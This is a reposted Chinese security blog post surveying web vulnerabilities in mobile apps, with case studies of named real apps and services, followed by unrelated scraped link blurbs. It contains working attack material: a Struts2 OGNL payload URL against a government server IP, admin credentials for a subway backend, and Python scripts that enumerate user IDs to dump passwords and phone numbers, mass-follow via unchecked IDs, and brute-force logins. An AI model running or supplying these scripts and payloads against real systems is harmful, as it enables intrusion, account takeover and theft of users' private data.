移动App中常见的Web漏洞

本文转自:http://www.dickeye.com/?id=16

主要是手机APP漏洞 放在web端测试 学习了

智能手机的存在让网民的生活从PC端开始往移动端转向,现在网民的日常生活需求基本上一部手机就能解决。外卖,办公,社交,银行转账等等都能通过移动端App实现。那么随之也带来了很多信息安全问题,大量的用户信息储存在移动App中,由于移动App的开发并不健全,由移动App引发的用户信息泄露事件也层出不穷。

移动App中的Web型漏洞主要分为以下几块:

1.SQL注入漏洞

这是一个不能再常见的漏洞类型了,由于App的特性,开发人员认为使用App时无法获取到详细URL等信息,所以忽视了App防注入的编写。

例如:

糗事百科某处SQL注入可导致1500w用户信息泄露

http://loudong.360.cn/vul/info/qid/QTVA-2015-177818

全峰快递注入漏洞,可直接建服务器用户,各种订单用户数据泄露

http://loudong.360.cn/vul/info/qid/QTVA-2014-106574

永辉超市Appsql注入导致超市及用户信息泄露

http://loudong.360.cn/vul/info/qid/QTVA-2014-106385

社交App“小湿妹”某处洞洞,数据库沦陷

http://loudong.360.cn/vul/info/qid/QTVA-2015-179315

提升逼格的App“交换”数据库沦陷,用户信息泄露

http://loudong.360.cn/vul/info/qid/QTVA-2015-177968

这些漏洞都是由于App开发中忽视了接口可能存在SQL注入问题,其中也包括POST注入,GET注入,COOKIE注入等等。

拿糗事百科注入详细举例:

在查询用户详细信息时抓包,包内容如下:

    GET /user/6122886/detail?rqcnt=12&r=dec363d71423481245949 HTTP/1.1    User-Agent: qiushibalke_6.2.0_WIFI_auto_7    Source: android_6.2.0    Model: Xiaomi/cancro_wc_lte/cancro:4.4.4/KTU84P/V6.3.3.0.KXDCNBL:user/release-keys    Qbtoken: 929efcfa9875f584f9f4db17343d16d7b1ec404b    Uuid: IMEI_2af2c2beee1dbd00d3436cffdec363d7    Deviceidinfo: {"DEVICEID":"99000566573203","RANDOM":"","ANDROID_ID":"2e6990c574abdd57","SIMNO":"89860313100285780111‘","IMSI":"460031219452851","SERIAL":"5d999491","MAC":"0c:1d:af:db:07:9c","SDK_INT":19}    Host: nearby.qiushibaike.com    Connection: Keep-Alive    Accept-Encoding: gzip

其中Qbtoken参数存在注入

2.任意用户注册漏洞

此类漏洞并不危害到用户信息泄露,但是别有用心的黑客可能会利用此漏洞注册任意手机号码,并利用此注册账号去社工号码主人的朋友或者家人。

漏洞案例:

App“tataufo”某处漏洞可修改任意用户密码

http://loudong.360.cn/vul/info/qid/QTVA-2015-192209

App“约饭”任意用户注册

http://loudong.360.cn/vul/info/qid/QTVA-2015-193610

App“楼楼”任意用户注册

http://loudong.360.cn/vul/info/qid/QTVA-2015-193622

任意用户注册漏洞中大部分是由于验证码机制不健全和注册过程验证不严谨,其中App“约饭”任意用户注册中

发送注册请求后直接返回了验证码值。

而App“楼楼”任意用户注册中,注册流程分为四个步骤

(1).注册用户,填写手机号,发送接收验证码请求。

(2).接收验证码,并填写。

(3).填写并验证验证码,进入填写资料步骤。

(4).填写用户资料,完成注册。

而这里在第四个步骤中出现了问题,前三步正常操作,在第四步时将资料中的号码改为任意手机号即能实现任意用户注册。

3.用户信息泄露

这种类型的漏洞多在用户资料查阅处存在,由于编写不严谨,在查询用户资料时会返回用户隐私信息,如账号邮箱,手机,密码等。

如:

App“叽友”泄露用户信息

http://loudong.360.cn/vul/info/qid/QTVA-2015-193589

Duang~App“小柚”用户信息泄露附验证脚本(密码,邮箱,手机号)

http://loudong.360.cn/vul/info/qid/QTVA-2015-187508

糗事百科某处泄露用户信息

http://loudong.360.cn/vul/info/qid/QTVA-2015-177827

拿App“小柚”举例

访问用户资料直接返回一些敏感信息,密码,邮箱,手机号

写个Python脚本来dump用户信息


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

    #!/usr/bin/env python

    # _*_ coding: utf-8 _*_ 

    # author=Hydra_Tc

    # create=20150227

    import os

    import json

    import random

    import requests

    import threadpool as tp

    def baopo():

            flag = 0

            userid = 0

            while True:

                    flag += 1

                    userid += 1

                    data = {‘userid‘ : userid,}

                    api_url = http://App.hixiaoyou.com/User/Me/getuserinfo

                    my_string = "userid"

                    try:

                            print ‘[%s] Test Userid: %s‘ % (flag, userid)

                            req = requests.post(api_url, data=data, timeout=5)

                            req_id = json.loads(req.content)[‘userid‘]

                            req_mail = json.loads(req.content)[‘email‘]

                            req_mobile = json.loads(req.content)[‘mobile‘]

                            req_qq = json.loads(req.content)[‘QQ‘]

                            req_pass = json.loads(req.content)[‘password‘]

                    except:

                            req_status = 0

                    if my_string in req.json():

                            success_f = open(‘./success_user1.txt‘‘a+‘)

                            success_f.write(‘%s--%s--%s--%s--%s\n‘%(req_id,req_qq,req_mobile,req_mail,req_pass))

                            success_f.close()

                        

    if __name__ == ‘__main__‘:

            baopo()

            pool = tp.ThreadPool(100)

            reqs = tp.makeRequests(baopo)

            [pool.putRequest(req) for req in reqs]

            pool.wait()

结果如下

4.框架问题(st2等)

这个并不多但也不容忽视

国家统计局手机网站新闻管理系统两处漏洞

http://loudong.360.cn/vul/info/qid/QTVA-2014-113456

App“将爱”某漏洞可致服务器沦陷,泄露用户信息

http://loudong.360.cn/vul/info/qid/QTVA-2015-193592

国家统计局手机新闻管理系统漏洞如下:

http://219.235.129.108:8080/NewManager/admin/login.action?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D

5.后台弱口令

由于App站点URL信息并不是很明显,所以管理在设置后台路径和密码方面也显得比较随意

如:

北京市地铁站新闻后台管理系统沦陷

http://loudong.360.cn/vul/info/qid/QTVA-2014-124853

抓包得到

http://119.254.65.181/SubwayManagement/webservice/SubwayService

往上跨目录得到

http://119.254.65.181/SubwayManagement/和http://119.254.65.181/

两个后台系统,前者存在弱口令admin admin  和  admin beijingditieAppadmin

6.越权漏洞

这个漏洞出现率仅次于SQL注入

App“逗萌”某处设计不当(附验证脚本)

http://loudong.360.cn/vul/info/qid/QTVA-2015-192485

社交App“足记”漏洞打包

http://loudong.360.cn/vul/info/qid/QTVA-2015-178379

App“tataufo”某处漏洞可修改任意用户密码

http://loudong.360.cn/vul/info/qid/QTVA-2015-192209

拿App“逗萌”某处设计不当为例

在App中对用户添加关注处没有任何验证

    POST /HC_AppClient/client-method/followUser.json HTTP/1.1    Content-Length: 39    Content-Type: Application/x-www-form-urlencoded    Host: 115.29.5.49:80    Connection: Keep-Alive    User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)     fromUserId=14004049&toUserId=1398055700

写了个脚本开始刷粉丝


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

    #!/usr/bin/env python

    # _*_ coding: utf-8 _*_ 

    # author=Hydra_Tc

    # create=20150306

    import os

    import json

    import random

    import requests

    import threadpool as tp

    def baopo():

            flag = 1

            fromUserId = 13980556

            while True:

                    flag += 1

                    fromUserId += 1

                    data = {‘fromUserId‘ : fromUserId,

                                    ‘toUserId‘ ‘13980556‘,}

                    api_url = http://115.29.5.49/HC_APPClient/client-method/followUser.json

                    my_string = "body"

                    try:

                            print ‘[%s] Test Userid: %s‘ % (flag, fromUserId)

                            req = requests.post(api_url, data=data, timeout=5)

                    except:

                            req_status = 0

                    if my_string in req.json():

                            success_f = open(‘./success_user1.txt‘‘a+‘)

                            success_f.write(‘%s\n‘%(fromUserId))

                            success_f.close()

                        

    if __name__ == ‘__main__‘:

            baopo()

            pool = tp.ThreadPool(100)

            reqs = tp.makeRequests(baopo)

            [pool.putRequest(req) for req in reqs]

            pool.wait()

7.接口未限制导致撞库

其实这个我也是看到蘑菇牛发的没拍漏洞才开始注意此类型漏洞的,运气还算不错,两三天就找到个同类型的、

App“疯拍”两处漏洞打包,附验证脚本

http://loudong.360.cn/vul/info/qid/QTVA-2015-185861

疯拍存在两处漏洞,此处只举例接口未限制导致撞库

我用一个未注册手机号登陆返回提示

    {"success":false,"error":"\u8be5\u53f7\u7801\u5c1a\u672a\u6ce8\u518c\uff0c\u8bf7\u5148\u6ce8\u518c"}
    {"success":false,"error":"该号码尚未注册,请先注册"}

提示尚未注册,用注册的用户登陆。

若密码错误,则会提示

    {"success":false,"error":"\u5bc6\u7801\u9519\u8bef\uff0c\u518d\u4ed4\u7ec6\u60f3\u60f3"}
    {"success":false,"error":"密码错误,再仔细想想"}

若密码正确

    {"success":true,"data":{"data":{"ucookie":"19151821c062f8a0252dc3a951940b8dc5a238188447a260b145e1e40fc3d48d9","username":"1234566666","avatar":"","level":0,"score":0,"setting":"{}","uid":16942,"nickname":"1234566666","t":1424918536},"expire":false}}

此处内容包含cookie,等相关信息。那么我们在蘑菇的脚本上稍微加一些改动即可实现爆破。

脚本如下,加了注释


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

    #!/usr/bin/env python

    # _*_ coding: utf-8 _*_ 

    # author=Hydra_Tc

    # create=20150224S

    import json

    import random

    import requests

    import threadpool as tp

    def _burp(mobile): # 验证密码是否正确

            for password in [‘qwertyu‘,‘123456‘‘123456789‘‘000000‘, mobile,‘1234567‘,‘12345678‘,‘1234567890‘]: # 弱口令密码

                    api_url = http://aifengpai.com/api/user/login   # 登陆接口

                    data = {‘mobile‘: mobile,

                                    ‘did‘:‘c71c53fa20c38d4a14ae8245bac9bb99‘,

                                    ‘password‘: password,}   # 登陆参数,这里简化了,去除了不必要的参数

                    try:

                            print ‘[*] Burp mobile: %s‘ % mobile

                            req = requests.post(api_url, data=data, timeout=5# requests模块的post请求

                    except:

                            continue

                    try:

                            success = json.loads(req.content)[‘data‘]

                            burp_success = open(‘./fengpai_account.txt‘‘a+‘# 随机成功后生成该txt,并写成功数据

                            burp_success.write(‘%s:::%s\n‘%(mobile, password))

                            burp_success.close()

                            print success

                            return success

                    except:

                            success = 0

                            print ‘[-] Burp False‘

                            continue

    def _status(args): # 判断手机号是否注册

            flag = 0

            list = "0123456789"

            sa = []

            for in range(8): #长度8,改了一下蘑菇牛的范围写法,自身测试感觉测试速度稍微加快了点

                    sa.Append(random.choice(list))

            while True:

                    flag += 1

                    account_test = random.choice([‘138‘,‘130‘,‘133‘,‘135‘,‘138‘,‘139‘,‘150‘,‘152‘,‘155‘,‘159‘,‘180‘,‘181‘,‘182‘,‘185‘,‘187‘,‘189‘])\ # 手机号前几位

                                                    +‘‘.join(sa)

                    data = {‘mobile‘: account_test,

                                    ‘did‘:‘c71c53fa20c38d4a14ae8245bac9bb99‘,

                                    ‘password‘‘jhjhksd‘}

                    api_url = http://aifengpai.com/api/user/login

                    try:

                            print ‘[%s] Test account: %s‘ % (flag, account_test)

                            req = requests.post(api_url, data=data, timeout=3)

                            req_status = json.loads(req.content)[‘error‘# 提取response里error处内容

                    except:

                            req_status = 0

                    if req_status == u‘\u5bc6\u7801\u9519\u8bef\uff0c\u518d\u4ed4\u7ec6\u60f3\u60f3‘#两值相等则存在有该账号

                            success_f = open(‘./fp_phone.txt‘‘a+‘)

                            success_f.write(‘%s\n‘%account_test)

                            success_f.close()

                            _burp(account_test)

                            print ‘\n[OK] account: %s\n‘ % account_test

    if __name__ == ‘__main__‘:

            args = []

            for in range(30):

                    args.Append(args) 

            pool = tp.ThreadPool(30)

            reqs = tp.makeRequests(_status, args)

            [pool.putRequest(req) for req in reqs]

            pool.wait()

改了下蘑菇牛的随机数生成方式。

因为该App并没有像美拍那样拥有很多用户所以爆破起来有点难,所以我在测试的时候把,测试范围函数里的list改为了

   list = "8"

手机前三位改为了

    account_test = random.choice([‘138‘])\ # 手机号前几位

这样只会生成13888888888(这个号码提交之前测试时候注册过)

进行爆破结果如下

时间: 2024-12-28 17:57:08

移动App中常见的Web漏洞的相关文章

APP中常见上下循环滚动通知的简单实现,点击可进入详情

关注finddreams博客,一起分享一起进步!http://blog.csdn.net/finddreams/article/details/45025865 对于能上下滚动的消息,我们并不陌生,常常在一些电商类的APP上有看到,比如淘宝之类的.大概的效果是一个不断上下循环滚动的通知,点击这个通知即可进去消息的详情界面.运行效果如下: (PS:别只顾看美女了,通知消息在下面) 这样的效果图是很多App中常见的布局,上面一个循环滚动的广告条,紧接着下面又是一个不断上下滚动的通知.关于循环滚动的广

天猫京东app中常见的上下滚动轮播效果如何实现?

前段时间,公司安排我们团队制作一个上下滚动轮播效果,类似于我们在天猫京东app中常见的这样: 哇kao!那么高大上,完全不会呀??? 幸好,前几天一个朋友在朋友圈分享了一篇推文.瞬间引领我们走出了迷茫,这个教程特别实用! 做法: 创建母版,拖入文字组件,输入文字,将文字组件调整到合适的位置和大小:添加全局手势.复制页面1,将其分别命名为页面2.页面3,并修改文字组件的内容. 通过全局手势,页面1链接到页面2,页面2链接到页面3,页面3链接到页面1:其中在链接页面时,将定时器设置为1秒:动效时长设

web开发中常见的安全漏洞及避免方法

1.安全攻击 1.SQL.HTML.JS.OS命令注入 2.XSS跨站脚本攻击,利用站内信任的用户,在web页面插入恶意script代码 3.CSRF跨站请求伪造,通过伪装来自信任用户的请求来利用受信任的网站. 4.目录遍历漏洞 5.参数篡改 6.会话劫持 2.防止攻击的措施总结 1) 对用户输入的数据进行全面安全检查或过滤,尤其注意检查是否包含SQL 或XSS特殊字符. 验证用户输入的数据,包括值.类型.范围等等,用验证控件进行验证 RequiredFieldValidator RangeVa

前端开发中常见的一下漏洞bug

1.IE6下横向双倍margin bug (触发条件:块属性标签:float:横向margin设置:IE6下.解决办法:css中加入display:inline.) 2.css中公用属性首先声明:如对浏览器对某些标签有默认的margin 和padding 值首先声明默认值为0. 3.css中class类名必须有实际的意义,必须与内容相关:不得用纯数字用于class类名. 4.IE6下标签嵌套时,如果内层标签float,只有清除内层标签的浮动后外层标签才能被撑开. 5.清除浮动时用div而不用其它

常见web漏洞

常见的web漏洞——文件上传漏洞 一.文件上传漏洞概述    文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力.这种攻击方式是最为直接和有效的,有时候几乎没有什么技术门槛. “文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理.解释文件.如果服务器的处理逻辑做的不够安全,则会导致严重的后果.文件上传后导致的常见安全问题一般有:1)上传文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代码执行.2)上传文件是Flash的策

用Chrome devTools 调试Android手机app中的web页面。

(1) 手机要满足Android系统为4.4或更高版本,低版本不支持这种方式.(2) 确保App已经开启了webview的debug调试模式,由Android工程师协助.(2) 用usb数据线连接好手机与电脑.(3) 将手机中的 设置 - 开发人员工具 - USB调试功能打开.(4) 打开chrome://inspect/#devices,即单击chrome右上角控制按钮 - 更多工具 - 检查设备 - 勾选上 Discover USB devices(5) 在app中访问一个web页面,对应的

各种Web漏洞测试平台

Sqli Lab?支持报错注入.二次注入.盲注.Update注入.Insert注入.Http头部注入.二次注入练习等.支持GET和POST两种方式. https://github.com/Audi-1/sqli-labs DVWA (Dam Vulnerable Web Application)DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序.包含了SQL注入.XSS.盲注等常见的一些安全漏洞.http://www.dvwa.co.uk/ mutilli

通过Appium获取Android app中webview

因为要测试Android app中嵌入的web页面,所以需要从native切换到webview.网上查了好多帖子,都用到类似下面代码: //判断是否有 WEBVIEWSet<String> contextNames = driver.getContextHandles();for (String contextName : contextNames) {System.out.println(contextName);if (contextName.contains("WEBVIEW&

Web安全测试中常见逻辑漏洞解析(实战篇)

Web安全测试中常见逻辑漏洞解析(实战篇) 简要: 越权漏洞是比较常见的漏洞类型,越权漏洞可以理解为,一个正常的用户A通常只能够对自己的一些信息进行增删改查,但是由于程序员的一时疏忽,对信息进行增删改查的时候没有进行一个判断,判断所需要操作的信息是否属于对应的用户,导致用户A可以操作其他人的信息.? 逻辑漏洞挖掘一直是安全测试中"经久不衰"的话题.相比SQL注入.XSS漏洞等传统安全漏洞,现在的攻击者更倾向于利用业务逻辑层的应用安全问题,这类问题往往危害巨大,可能造成了企业的资产损失和